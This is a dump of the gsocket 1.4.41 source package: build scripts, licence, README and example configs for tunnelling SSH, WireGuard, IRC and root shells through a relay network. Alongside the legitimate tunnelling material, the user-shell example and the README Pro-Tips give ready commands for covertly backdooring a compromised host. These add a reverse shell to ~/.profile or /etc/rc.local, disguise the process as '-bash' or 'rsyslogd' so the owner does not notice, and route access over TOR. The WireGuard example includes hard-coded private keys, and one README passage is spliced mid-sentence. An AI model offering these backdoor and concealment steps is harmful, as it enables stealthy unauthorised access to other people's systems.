gsocket-1.4.41/0000755000175000017500000000000014503376047013155 5ustar epsilonepsilongsocket-1.4.41/bootstrap0000755000175000017500000000164714503376047015130 0ustar epsilonepsilon#! /bin/sh DIE=0 (autoconf --version) < /dev/null > /dev/null 2>&1 || { echo echo "You must have autoconf installed." DIE=1 } # libtool --version check not done... (automake --version) < /dev/null > /dev/null 2>&1 || { echo echo "You must have automake installed." DIE=1 } if test "$DIE" -eq 1; then exit 1 fi echo Removing old files... rm -f configure Makefile Makefile.in tools/Makefile tools/Makesfile.in src/Makefile src/Makefile.in config.h config.status aclocal.m4 config.cache config.log [ -d "config" ] && rm -rf config mkdir config echo "aclocal -I ." aclocal -I . if test $? -ne 0; then exit 1 fi # glibtoolize -c echo "autoheader" autoheader if test $? -ne 0; then exit 1 fi echo "automake --foreign --add-missing -Wno-syntax" automake --foreign --copy --add-missing -Wno-syntax if test $? -ne 0; then exit 1 fi echo "autoconf" autoconf echo "BOOTSTRAP complete" gsocket-1.4.41/LICENSE0000755000175000017500000000252114503376047014165 0ustar epsilonepsilon/* * Copyright (C) 2002-3020 skyper@thc.org * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ gsocket-1.4.41/examples/0000755000175000017500000000000014503376047014773 5ustar epsilonepsilongsocket-1.4.41/examples/user-shell/0000755000175000017500000000000014503376047017056 5ustar epsilonepsilongsocket-1.4.41/examples/user-shell/README.md0000644000175000017500000000314614503376047020341 0ustar epsilonepsilon# Global Socket User Login Shell (auto-restarting) **Connect to a firewalled host** **Problem** MALLORY gained access to ALICE but does not have superuser priviledges (root). MALLORY likes to access ALICE remotely. ALICE (and MALLORY) are on two different networks and behind a NAT/Firewall. Neither of them can reach the other. **Objective** Backdoor ALICE so that MALLORY can access ALICE remotely (without tampering with the firewall, NAT or router settings) and without superuser priviledges (root). **Solution** Start gs-netcat from ALICE's *~/.profile* and do so secretly and silently (without ALICE noticing). On "ALICE" add the following line to the end of *~/.profile*. This will start the gs-netcat backdoor every time that ALICE logs in. The gs-netcat process is hidden as *-bash* and shows up as *-bash* in the process list. ``` killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat) ``` Start the backdoor manually for testing. Thereafter the backdoor will start (and remain running) whenever ALICE logs in for the first time: ```ShellSession alice@ALICE:~$ source ~/.profile ``` Now log in from "MALLORY" to "ALICE": ```ShellSession m@MALLORY:~ $ gs-netcat -s ExampleSecretChangeMe -i =Secret : "ExampleSecretChangeMe" =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) alice@ALICE:~$ id uid=1001(alice) gid=1001(alice) alice@ALICE:~$ ``` There are other ways to start a backdoor. This is an example. Many more gs-netcat options are available: For example *-T* to connect via TOR. See the manual page of gs-netcat. gsocket-1.4.41/examples/systemd-root-shell/0000755000175000017500000000000014503376047020551 5ustar epsilonepsilongsocket-1.4.41/examples/systemd-root-shell/README.md0000644000175000017500000000330414503376047022030 0ustar epsilonepsilon# Global Socket Root Login Shell from systemd **Connect to a firewalled host** **Problem** ALICE and BOB are on two different networks and behind a NAT/Firewall. Neither of them can reach the other. **Objective** Allow BOB to log-in to ALICE as root/superuser (without tampering with the firewall, NAT or router settings). **Solution** Start gs-netcat as a service (systemd) on ALICE. On workstation "ALICE" create */etc/systemd/system/gs-root-shell.service*: ```EditorConfig [Unit] Description=Global Socket Root Shell After=network.target [Service] Type=simple Restart=always RestartSec=10 WorkingDirectory=/root ExecStart=gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il [Install] WantedBy=multi-user.target ``` Create a random key file: ```ShellSession root@ALICE:~# gs-netcat -g >/etc/systemd/gs-root-shell-key.txt root@ALICE:~# chmod 600 /etc/systemd/gs-root-shell-key.txt root@ALICE:~# cat /etc/systemd/gs-root-shell-key.txt ExampleSecretChangeMe ``` Start the service: ```ShellSession root@ALICE:~# systemctl start gs-root-shell ``` Enable the service to start automatically after reboot: ```ShellSession root@ALICE:~# systemctl enable gs-root-shell ``` Check that gs-netcat is running: ```ShellSession root@ALICE:~# systemctl status gs-root-shell ``` Now log-in from "BOB" to "ALICE": ```ShellSession b@BOB:~$ gs-netcat -s ExampleSecretChangeMe -i =Secret : "ExampleSecretChangeMe" =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) root@ALICE:~# id uid=0(root) gid=0(root) groups=0(root) root@ALICE:~# ``` Et voila a root shell on ALICE. Many more gs-netcat options are available: For example *-T* to connect via TOR or *-L* for log-output. See the manual page for gs-netcat. gsocket-1.4.41/examples/systemd-root-shell/gs-root-shell.service0000644000175000017500000000036014503376047024631 0ustar epsilonepsilon[Unit] Description=Global Socket Root Shell After=network.target [Service] Type=simple Restart=always RestartSec=10 WorkingDirectory=/root ExecStart=gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il [Install] WantedBy=multi-user.target gsocket-1.4.41/examples/wireguard/0000755000175000017500000000000014503376047016764 5ustar epsilonepsilongsocket-1.4.41/examples/wireguard/wg0-server.conf0000644000175000017500000000056214503376047021637 0ustar epsilonepsilon[Interface] # Server Address = 10.37.0.1/24 ListenPort = 51820 PrivateKey = 4E48vR7v8OUJO5OEYkOUUZmF55UOYVqo9l9w2eRS50k= PostUp = sysctl -w net.ipv4.ip_forward=1 PreUp = gs-netcat -s AnyKindOfRandomString -Cul -d 127.0.0.1 -p 51820 & PostDOwn = killall -g gs-netcat [Peer] # Client #1 PublicKey = KRYz7Jsbu1pS6ALHLqCUqG4KsFh9GcK3II+3bFscYUU= AllowedIPs = 10.37.0.2/32 gsocket-1.4.41/examples/wireguard/client-privatekey0000644000175000017500000000005514503376047022346 0ustar epsilonepsilonSOnUcf+KuXIWXfhpZpHtTC097ihBNUXT2igp5IuJsWY= gsocket-1.4.41/examples/wireguard/README.md0000644000175000017500000000644014503376047020247 0ustar epsilonepsilon# Global Socket WireGuard Example **Connect two firewalled hosts with wireGuard (Virtual Private Network)** **Problem** ALICE and BOB are on two different networks behind NAT/Firewall. Neither of them can reach the other. A WireGuard VPN can not be established (ALICE and BOB are both firewalled). **Objective** Create a WireGuard Virtual Private Network between ALICE and BOB (without tampering with the firewall, NAT or router settings). **Solution** Redirect the WireGuard traffic via the Global Socket Relay Network. ALICE -> WireGuard -> Global Socket Relay Network -> WireGuard -> BOB On workstation "ALICE": ```ShellSession a@ALICE:~ $ wg-quick up ./wg0-server.conf ``` On workstation "BOB": ```ShellSession b@BOB:~ $ wg-quick up ./wg0-client.conf ``` Test the WireGuard VPN: ```ShellSession b@BOB:~ $ ping 10.37.0.1 PING 10.37.0.1 (10.37.0.1) 56(84) bytes of data. 64 bytes from 10.37.0.1: icmp_seq=1 ttl=64 time=46.96 ms [...] ``` **Explanation** Let's take a look at wg-server.conf (ALICE) ```Nginx [Interface] # Server Address = 10.37.0.1/24 ListenPort = 51820 PrivateKey = 4E48vR7v8OUJO5OEYkOUUZmF55UOYVqo9l9w2eRS50k= PostUp = sysctl -w net.ipv4.ip_forward=1 PreUp = gs-netcat -s ExampleSecretChangeMe -Culq -d 127.0.0.1 -p 51820 & PostDOwn = killall -g gs-netcat [Peer] # Client #1 PublicKey = KRYz7Jsbu1pS6ALHLqCUqG4KsFh9GcK3II+3bFscYUU= AllowedIPs = 10.37.0.2/32 ``` This is a default WireGuard configuration file for a server. The only change is: ```Nginx PreUp = gs-netcat -s ExampleSecretChangeMe -Culq -d 127.0.0.1 -p 51820 & ``` This starts a gs-netcat process and redirects any traffic from the Global Socket *ExampleSecretChangeMe* to the default WireGuard port (51820). *-u* specifies UDP protocol and *-q* to be quiet. Let's take a look at wg-client.conf (BOB): ```Nginx [Interface] # client. ME Address = 10.37.0.2/32 PrivateKey = SOnUcf+KuXIWXfhpZpHtTC097ihBNUXT2igp5IuJsWY= # Make gs-netcat listen on UDP 31337 PreUp = gs-netcat -s ExampleSecretChangeMe -Cuq -p 31337 & PostDown = killall -g gs-netcat [Peer] # server Endpoint = 127.0.0.1:31337 PublicKey = gjBE/V1pGdIu7yTGWtZvObxIf9+ErH9aRP+jsBuiXC4= AllowedIPs = 10.37.0.0/24 PersistentKeepalive = 25 ``` The only change is: ```Nginx PreUp = gs-netcat -s ExampleSecretChangeMe -Cuq -p 31337 & [...] EndPoint = 127.0.0.1:31337 ``` The PreUp-line redirects any UDP traffic from port 31337 to the Global Socket *ExampleSecretChangeMe*. The new *Endpoint* instructs WireGuard to send all WireGuard traffic to the UDP port where gs-netcat is listening (31337). Any UDP traffic received by gs-netcat is forwarded (via the Global Socket Relay Network) to the other gs-netcat running on ALICE. **Notes** The gs-netcat secret *ExampleSecretChangeMe* is chosen at random but has to be identical on ALICE and BOB. This string is used by the Global Socket Relay Network to connect ALICE and BOB. Use *gs-netcat -g* to generate a new random string for your own use (do not use the example). Create your own private/public WireGuard keys (do not use the example): ```ShellSession $ wg genkey | tee server-privatekey | wg pubkey > server-publickey $ wg genkey | tee client-privatekey | wg pubkey > client-publickey ``` Many more gs-netcat options are available: For example *-T* to connect WireGuard via TOR or *-L* for log-output. See the manual page for gs-netcat. gsocket-1.4.41/examples/wireguard/server-privatekey0000644000175000017500000000005514503376047022376 0ustar epsilonepsilon4E48vR7v8OUJO5OEYkOUUZmF55UOYVqo9l9w2eRS50k= gsocket-1.4.41/examples/wireguard/wg0-client.conf0000644000175000017500000000060114503376047021601 0ustar epsilonepsilon[Interface] # client. ME Address = 10.37.0.2/32 PrivateKey = SOnUcf+KuXIWXfhpZpHtTC097ihBNUXT2igp5IuJsWY= # Make gs-netcat listen on UDP 31337 PreUp = gs-netcat -s AnyKindOfRandomString -Cu -p 31337 & PostDown = killall -g gs-netcat [Peer] # server Endpoint = 127.0.0.1:31337 PublicKey = gjBE/V1pGdIu7yTGWtZvObxIf9+ErH9aRP+jsBuiXC4= AllowedIPs = 10.37.0.0/24 PersistentKeepalive = 25 gsocket-1.4.41/examples/wireguard/client-publickey0000644000175000017500000000005514503376047022152 0ustar epsilonepsilonKRYz7Jsbu1pS6ALHLqCUqG4KsFh9GcK3II+3bFscYUU= gsocket-1.4.41/examples/wireguard/server-publickey0000644000175000017500000000005514503376047022202 0ustar epsilonepsilongjBE/V1pGdIu7yTGWtZvObxIf9+ErH9aRP+jsBuiXC4= gsocket-1.4.41/examples/port-forward/0000755000175000017500000000000014503376047017421 5ustar epsilonepsilongsocket-1.4.41/examples/port-forward/README.md0000644000175000017500000000547514503376047020713 0ustar epsilonepsilon# Global Socket Port Forwarding **Connect to a firewalled host** **Problem** A hypothetical example for BOB to connect to ALICE's IRCD. Both are on two different networks and behind a NAT/Firewall. Neither of them can reach the other. **Objective** Allow BOB to access ALICE's (private) IRCD service (without tampering with the firewall, NAT or router settings). **Solution** Create a port forward to ALICE's IRCD and make this forward accessible via the Global Socket Relay network (GSRN). **Prerequisite** IRCD running on ALICE's workstation and an IRC client (irssi) on BOB's workstation. On workstation "ALICE" create */etc/system/systemd/gs-portforward.service* to configure a port forward from the Global Socket *ExampleSecretChangeMe* to TCP port 6667 on your workstation (127.0.0.1): ```EditorConfig [Unit] Description=Global Socket IRCD Forward After=network.target [Service] Type=simple Restart=always RestartSec=10 ExecStart=gs-netcat -s ExampleSecretChangeMe -l -d 127.0.0.1 -p 6667 [Install] WantedBy=multi-user.target ``` Start, check and enable the service: ```ShellSession root@ALICE:~# systemctl start gs-portforward root@ALICE:~# systemctl status gs-portforward root@ALICE:~# systemctl enable gs-portforward ``` On BOB's workstation create a port forward from TCP port 6667 to the Global Socket *ExampleSecretChangeMe*: ```ShellSession b@BOB:~$ gs-netcat -s ExampleSecretChangeMe -p 6667 ``` TCP port 6667 on BOB's workstation is now forwarded to TCP port 6667 on ALICE's workstation. Bob connects to ALICE's IRCD as if the IRCD is running on his workstation (127.0.0.1): ```ShellSession b@BOB:~$ irssi -c 127.0.0.1 ``` Alternatively of using two separate commands BOB can use the *gsocket* tool to start the irc client and automatically forward the connection via the GSRN: ```ShellSession b@BOB:~$ gsocket irssi -c blah.gsocket Enter Secret (or press Enter to generate): ExampleSecretChangeMe =Secret :"ExampleSecretChangeMe" =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) Irssi v1.2.0-2 - https://irssi.org 06:22 -!- Irssi: Looking up blahgsocket 06:22 -!- Irssi: Connecting to blah.gsocket [127.31.33.7] port 6667 [...] ``` This is a hypothetical example. Alice can configure the port forward by changing 127.0.0.1 to the desired destination. Alice created a port forward and started the IRCD service. Instead Alice can combine this into a single command: ```ShellSession alice@ALICE:~$ gsocket inspircd --nolog --nofork Enter Secret (or press Enter to generate): ExampleSecretChangeMe =Secret :"ExampleSecretChangeMe" =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) Inspire Internet Relay Chat Server (C) InspIRCd Development Team. [...] ``` Many more gs-netcat options are available: For example *-T* to connect via TOR or *-L* for log-output. See the manual page for gs-netcat. gsocket-1.4.41/examples/port-forward/gs-portforward.service0000644000175000017500000000034114503376047023761 0ustar epsilonepsilonUnit] Description=Global Socket IRCD Forward After=network.target [Service] Type=simple Restart=always RestartSec=10 ExecStart=gs-netcat -s ExampleSecretChangeMe -l -d 127.0.0.1 -p 6667 [Install] WantedBy=multi-user.target gsocket-1.4.41/examples/Makefile.am0000755000175000017500000000042014503376047017026 0ustar epsilonepsilonEXTRA_DIST = wireguard/wg0-client.conf wireguard/wg0-server.conf wireguard/README.md user-shell/README.md systemd-root-shell/gs-root-shell.service systemd-root-shell/README.md sshd/gs-sshd.service sshd/README.md port-forward/gs-portforward.service port-forward/README.md gsocket-1.4.41/examples/sshd/0000755000175000017500000000000014503376047015734 5ustar epsilonepsilongsocket-1.4.41/examples/sshd/README.md0000644000175000017500000001031014503376047017206 0ustar epsilonepsilon# OpenSSH via Global Socket **Connect with ssh to a firewalled host** **Problem** ALICE and BOB are on two different networks and behind a NAT/Firewall. Neither of them can reach the other. **Objective** Allow user bob on host BOB to log-in with ssh as user bob on host ALICE (without tampering with the firewall, NAT or router settings). **Solution** Start sshd and ssh with the *gsocket* tool to (automatically) redirect any ssh-traffic via the Global Socket Relay Network. Let's test the *gsocket* concept. Start *sshd* on ALICE with the *gsocket* tool: ```ShellSession root@ALICE:~# gsocket -s ExampleSecretChangeMe /usr/sbin/sshd -D ``` The *gsocket* tool hooks all network functions and instead redirects those via the GSRN. The above example redirects the 'listen()'-call and listens on the Global Socket named *ExampleSecretChangeMe* instead of sshd's port 22. Anyone with the correct secret (*ExampleSecretChangeMe*) can now connect to this sshd from anywhere in the world. The sshd process will _not_ listen on the default SSHD port 22 but instead on a Global Socket named *ExampleSecretChangeMe*. (On Global Socket we use names and not numbers). From BOB use the *gsocket* tool to log in to ALICE: ```ShellSession bob@BOB:~$ gsocket ssh bob@gsocket Enter Secret (or press Enter to generate): ExampleSecretChangeMe =Secret :"ExampleSecretChangeMe" =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-65-generic x86_64) bob@ALICE:~$ ``` Any networking application that connects to a hostname ending in *gsocket* (or *blah.anything.gsocket*) is redirected via the GSRN. **Installation** Let's make this change permanent so that ALICE is accessible via the GSRN after a system reboot. This does not tamper with the default *SSHD* service in any way. The *GS-SSHD* runs as an additional service alongside the default *SSHD* service. Copy the default sshd.service: ```ShellSession root@ALICE:~# cd /etc/systemd/system root@ALICE:/etc/systemd/system# cp sshd.service gs-sshd.service root@ALICE:/etc/systemd/system# chmod 600 gs-sshd.service ``` Edit the *gs-sshd.service* file and change this line: ```EditorConfig ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ``` to ```EditorConfig ExecStart=gs -s ExampleSecretChangeMe /usr/sbin/sshd -D $SSHD_OPTS ``` Start, check and enable the newly created service: ```ShellSession root@ALICE:~# systemctl start gs-sshd root@ALICE:~# systemctl status gs-sshd root@ALICE:~# systemctl enable gs-sshd ``` Log in to host ALICE from anywhere in the world: ```ShellSession bob@BOB:~$ gsocket ssh bob@gsocket Enter Secret (or press Enter to generate): ExampleSecretChangeMe =Secret :"ExampleSecretChangeMe" =Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits) Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-65-generic x86_64) bob@ALICE:~$ ``` **Advanced Tips** Under the hood ```gsocket``` forks a gs-netcat process with a new SECRET of *<PORTNUMBER>-<SECRET>*. Continuing from the example, and instead of using ```gsocket /usr/sbin/sshd -D``` it is possible to use a port forward to the original *sshd* on port 22 instead: ```ShellSession root@ALICE:~# gs-netcat -s 22-ExampleSecretChangeMe -l -d 127.1 -p 22 ``` and then use *ssh* the same way as previously: ```ShellSession bob@BOB:~$ gsocket ssh bob@gsocket ``` or, and instead of using ```gsocket ssh bob@gsocket``` it is possible to use gs-netcat to test the connection to the *sshd*: ```ShellSession bob@BOB:~$ gs-netcat -s 22-ExampleSecretChangeMe SSH-2.0-OpenSSH_8.6 ``` **Notes** Do not use *ExampleSecretChangeMe*. Generate your own secret using the *-g* option: ```ShellSession $ gsocket -g M9BfcYhhG4LujcPTbUcaZN ``` This example uses double encryption: The GSRN connection is encrypted with OpenSSL's SRP protocol and within that tunnel OpenSSH uses its own encryption. As a consequence the GS-SSHD is only accessible to those who know the secret (*ExampleSecretChangeMe*). E.g. the TCP port and service is hidden. The *-C* option can be used to disable GSRN encryption and rely on OpenSSH's encryption only. Changing the hostname from *gsocket* to *thc* will connect through TOR first: ssh -> TOR -> GSRN.... Many more gs options are available. See the manual page for gs. gsocket-1.4.41/examples/sshd/gs-sshd.service0000644000175000017500000000105014503376047020662 0ustar epsilonepsilon[Unit] Description=OpenBSD Secure Shell server Documentation=man:sshd(8) man:sshd_config(5) After=network.target auditd.service ConditionPathExists=!/etc/ssh/sshd_not_to_be_run [Service] EnvironmentFile=-/etc/default/ssh ExecStartPre=/usr/sbin/sshd -t ExecStart=gsocket -s ExampleSecretChangeMe /usr/sbin/sshd -D $SSHD_OPTS ExecReload=/usr/sbin/sshd -t ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure RestartPreventExitStatus=255 Type=notify RuntimeDirectory=sshd RuntimeDirectoryMode=0755 [Install] WantedBy=multi-user.target gsocket-1.4.41/install.sh0000755000175000017500000000057114503376047015165 0ustar epsilonepsilon#! /usr/bin/env bash ## This script lives at https://gsocket.io/install.sh) command -v git >/dev/null 2>&1 || { echo >&2 "git not found. Try 'apt-get install git'"; exit 1; } git clone --depth 1 https://github.com/hackerschoice/gsocket.git || exit ( cd gsocket \ && ./bootstrap \ && ./configure && make && echo -e "\n---> Type 'cd gsocket; sudo make install' to install." ) gsocket-1.4.41/README.md0000755000175000017500000003652214503376047014447 0ustar epsilonepsilon# Global Socket [![GitHub release](https://img.shields.io/github/release/hackerschoice/gsocket\?style\=plastic)](https://github.com/hackerschoice/gsocket/releases/) [![License](https://img.shields.io/badge/License-BSD%202--Clause-orange.svg?style=plastic)](https://opensource.org/licenses/BSD-2-Clause) [![GitHub Build](https://img.shields.io/badge/build-passing-green.svg\?style\=plastic\&logo\=appveyor)](https://www.gsocket.io/) [![GitHub Quality](https://img.shields.io/badge/quality-A-green.svg\?style\=plastic)](https://www.gsocket.io/) [![GitHub Platform](https://img.shields.io/badge/platform-linux\|osx\|cygwin\|FreeBSD-green.svg\?style\=plastic)](https://www.gsocket.io/) [![GitHub coverage](https://img.shields.io/badge/coverage-100%25-green.svg\?style\=plastic)](https://www.gsocket.io/) [![Maintenance](https://img.shields.io/badge/Maintained-yes-green.svg\?style\=plastic)](https://github.com/hackerschoice/gsocket/graphs/commit-activity) [![Website shields.io](https://img.shields.io/website-up-down-green-red/http/www.gsocket.io.svg\?style\=plastic)](https://www.gsocket.io/) [![Github all downloads](https://img.shields.io/github/downloads/hackerschoice/gsocket/total\?style\=plastic)](https://GitHub.com/hackerschoice/gsocket/) [![GitHub telegram](https://img.shields.io/badge/chat-telegram-blue.svg\?style\=plastic\&logo\=telegram)](https://t.me/thcorg/) [![GitHub twitter](https://img.shields.io/twitter/follow/hackerschoice?label=Follow)](https://twitter.com/hackerschoice) [![GitHub stars](https://img.shields.io/github/stars/hackerschoice/gsocket\?style\=social)](https://GitHub.com/hackerschoice/gsocket/stargazers/) **Connect like there is no firewall. Securely.** The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP connection with each other. Securely. More on [https://www.gsocket.io](https://www.gsocket.io). [![Watch the video](https://www.gsocket.io/assets/images/eeelite-console-640x378.png)](https://www.youtube.com/watch?v=tmf9VGDPILE) Video 1: [gs-netcat reverse login shell and EEElite-console](https://www.youtube.com/watch?v=tmf9VGDPILE) Video 2: [Using gsocket to hijack OpenSSH](https://www.youtube.com/watch?v=Nn6BAeeVJIc) Video 3: [Blitz files through firewalls](https://www.thc.org/gsocket-anim2.gif) **Features:** - Uses the Global Socket Relay Network to connect TCP pipes - End-2-End encryption (using OpenSSL's SRP / [RFC 5054](https://tools.ietf.org/html/rfc5054)) - AES-256 & key exchange using 4096-bit Prime - No PKI required. - Perfect Forward Secrecy - TOR support (optional) Abandon the thought of IP Addresses and Port Numbers. Instead start thinking that two programs should be able to communicate with each other as long as they know the same secret (rather than each other\'s IP Address and Port Number). The Global Socket library facilitates this: It locally derives temporary session keys and IDs and connects two programs through the Global Socket Relay Network (GSRN) regardless and independent of the local IP Address or geographical location. Once connected the library then negotiates a secure TLS connection(End-2-End). The secret never leaves your workstation. **The GSRN sees only the encrypted traffic**. The [GSRN](https://www.gsocket.io/gsrn) is a free cloud service and is free to use by anyone. The Global Socket Toolkit comes with a set of tools: * **gsocket** - Makes an existing program (behind firewall or NAT) accessible from anywhere in the world. It does so by analyzing the program and replacing the IP-Layer with its own Gsocket-Layer. A client connection to a hostname ending in *'\*.gsocket'* then gets automatically redirected (via the GSRN) to this program. * **gs-netcat** - Netcat on steroids. Turn gs-netcat into an AES-256 encrypted reverse backdoor via TOR (optional) with a true PTY/interactive command shell (```gs-netcat -s MySecret -i```), integrated file-transfer, spawn a Socks4/4a/5 proxy or forward TCP connections or give somebody temporary shell access. * **gs-sftp** - sftp server & client between two firewalled workstations (```gs-sftp -s MySecret```) * **gs-mount** - Access and mount a remote file system (```gs-mount -s MySecret ~/mnt/warez```) * **blitz** - Copy data from workstation to workstation (```blitz -s MySecret /usr/share/*```) * ...many more examples and tools. | ----------|------------- Download|[gsocket-1.4.40.tar.gz](https://github.com/hackerschoice/gsocket/releases/download/v1.4.40/gsocket-1.4.40.tar.gz) (Linux, MacOS, FreeBSD, Solaris) Debian/Ubuntu| [gsocket_1.4.40_all.deb](https://github.com/hackerschoice/binary/raw/main/gsocket/latest/gsocket_1.4.40_all.deb) Windows| use docker or cygwin Man Page| [gsocket(1)](https://hackerschoice.github.io/gsocket.1.html), [gs-netcat(1)](https://hackerschoice.github.io/gs-netcat.1.html), [gs-mount(1)](https://hackerschoice.github.io/gs-mount.1.html), [gs-sftp(1)](https://hackerschoice.github.io/gs-sftp.1.html), [blitz(1)](https://hackerschoice.github.io/blitz.1.html) Docker| docker run --rm -it hackerschoice/gsocket Docker| docker run --rm -it hackerschoice/gsocket-tor # gs via TOR --- **Examples** | ----------|------------- All| [examples](examples) OpenSSH via GSRN| [examples/sshd](examples/sshd) WireGuard via GSRN| [examples/wireguard](examples/wireguard) Root-Shell via GSRN| [examples/systemd-root-shell](examples/systemd-root-shell) IRCD via GSRN| [examples/port-forward](examples/port-forward) --- Follow the [Installation Instructions](https://github.com/hackerschoice/gsocket/blob/master/deploy/README.md) for all major Operating Systems. --- **Usage:** 1. Log in to Workstation A from Workstation B through any firewall/NAT ``` $ gs-netcat -l -i # Workstation A $ gs-netcat -i # Workstation B ``` See also: [gs-netcat(1)](https://hackerschoice.github.io/gs-netcat.1.html) 2. A Simple TCP forward ``` $ gs-netcat -l -d 127.0.0.1 -p 22 # Workstation A $ gs-netcat -p 2222 # Workstation B # A connection on B's port 2222 will end up on A's port 22 $ nc -vn 127.0.0.1 2222 ``` 3. SSH from *Workstation B* to *Workstation A* through any firewall/NAT ``` $ gsocket /usr/sbin/sshd # Workstation A $ gsocket ssh root@gsocket # Workstation B ``` See also: [gsocket(1)](https://hackerschoice.github.io/gsocket.1.html) 4. Transfer files from *Workstation B* to *Workstation A* ``` $ blitz -l # Workstation A $ blitz /usr/share/* /etc/* # Workstation B ``` See also: [blitz(1)](https://hackerschoice.github.io/blitz.1.html) 5. SFTP through Global Socket Relay Network ``` $ gs-sftp -l # Workstation A $ gs-sftp # Workstation B ``` See also: [gs-sftp(1)](https://hackerschoice.github.io/gs-sftp.1.html) 6. Mount *Workstation A's* directory from *Workstation B* ``` $ gs-mount -l # Workstation A $ gs-mount ~/mnt # Workstation B ``` See also: [gs-mount(1)](https://hackerschoice.github.io/gs-mount.1.html) 7. Pipe data from Workstation B to Workstation A ``` $ gs-netcat -l -r >warez.tar.gz # Workstation A $ gs-netcat Gost (Port 1080). It is then multiplexed into the single single TCP connection to B's gs-netcat (Port 40008) and forwarded via GSRN to A's gs-netcat. A's gs-netcat forwards the packet to A's Gost (Port 40009) where the stream is de-multiplexed and send to Gost's socks5 server and then forwarded to the Internet. 12. Persistant, daemonized and auto-respawn/watchdog reverse PTY backdoor via TOR ``` $ gs-netcat -l -i -D # some firewalled server $ gs-netcat -i -T # You, via TOR ``` 13. SoCAT 2 ``` gs-netcat can be used in a socat address-chain using the EXEC target. Happy bouncing. Enjoy. :> ``` --- **Pro-Tips:** 1. Force TOR or fail: Add -T to relay your traffic through TOR or use these environment variable to force TOR or fail gracefully if TOR is not running: ``` $ export GSOCKET_SOCKS_IP=127.0.0.1 $ export GSOCKET_SOCKS_PORT=9050 ``` 2. A reverse shell Gs-netcat supports multiple concurrent connections and spawns a real PTY/interactive-shell with ctrl-c and colors working (like OpenSSH does). ``` $ gs-netcat -l -i # Host $ gs-netcat -T -i # Workstation (via Tor & Global Socket Relay) ``` Add -D on the host side to start gs-netcat as a daemon and in watchdog-mode: Gs-netcat will restart automatically if killed. 3. Use -k Using -s is not secure. Add your *secret* to a file and use -k <filen> or use GSOCKET_ARGS="-s <MySecret>". ``` GSOCKET_ARGS="-s MySecret" gs-netcat -l ``` Use this command to generate a new secure password at random: ``` gs-netcat -g ``` 4. Hide your arguments (argv) Pass the arguments by environment variable (GSOCKET_ARGS) and use a bash-trick to hide gs-netcat binary in the process list: ``` $ export GSOCKET_ARGS="-s MySecret -li -q -D" $ exec -a -bash ./gs-netcat & # Hide as '-bash'. $ ps alxww | grep gs-netcat $ ps alxww | grep -bash 1001 47255 1 0 26 5 4281168 436 - SNs ?? 0:00.00 -bash ``` 5. SSH login to remote workstation ``` # On the remote workstation execute: gs-netcat -s MySecret -l -d 192.168.6.7 -p 22 ``` ``` # Access 192.168.6.7 via ssh on the remote network from your workstation: ssh -o ProxyCommand='gs-netcat -s MySecret' root@doesnotmatter ``` 6. Retain access after reboot The easiest way to retain access to a remote system is by using [the automated deploy script](https://www.gsocket.io/deploy). Alternatively the following can be used to achieve the same: Combine what you have learned so far and make your backdoor restart after reboot (and as a hidden service obfuscated as *rsyslogd*). Use any of the start-up scripts, such as */etc/rc.local*: ``` $ cat /etc/rc.local #! /bin/sh -e GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash" /bin/bash -c "cd $HOME; exec -a rsyslogd /usr/local/bin/gs-netcat" exit 0 ``` Not all environment variables are set during system bootup. Set some variables to make the backdoor more enjoyable: *TERM=xterm-256color* and *SHELL=/bin/bash* and *HOME=/root*. The startup script (*/etc/rc.local*) uses */bin/sh* which does not support our *exec -a* trick. Thus we use */bin/sh* to start */bin/bash* which in turn does the *exec -a* trick and starts *gs-netcat*. Puh. The gs-netcat process is hidden (as *rsyslogd*) from the process list. Read [how to enable rc.local](https://linuxmedium.com/how-to-enable-etc-rc-local-with-systemd-on-ubuntu-20-04/) if */etc/rc.local* does not exist. Alternatively install gs-netcat as a [systemd service](examples/systemd-root-shell). Alternativly and if you do not have root privileges then just append the following line to the user's *~/.profile* file. This will start gs-netcat (if it is not already running) the next time the user logs in. There are [many other ways to restart a reverse shell after system reboot](https://www.gsocket.io/deploy): ``` killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret -liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat) ``` --- **Crypto / Security Mumble Jumble** 1. The security is end-2-end. This means from 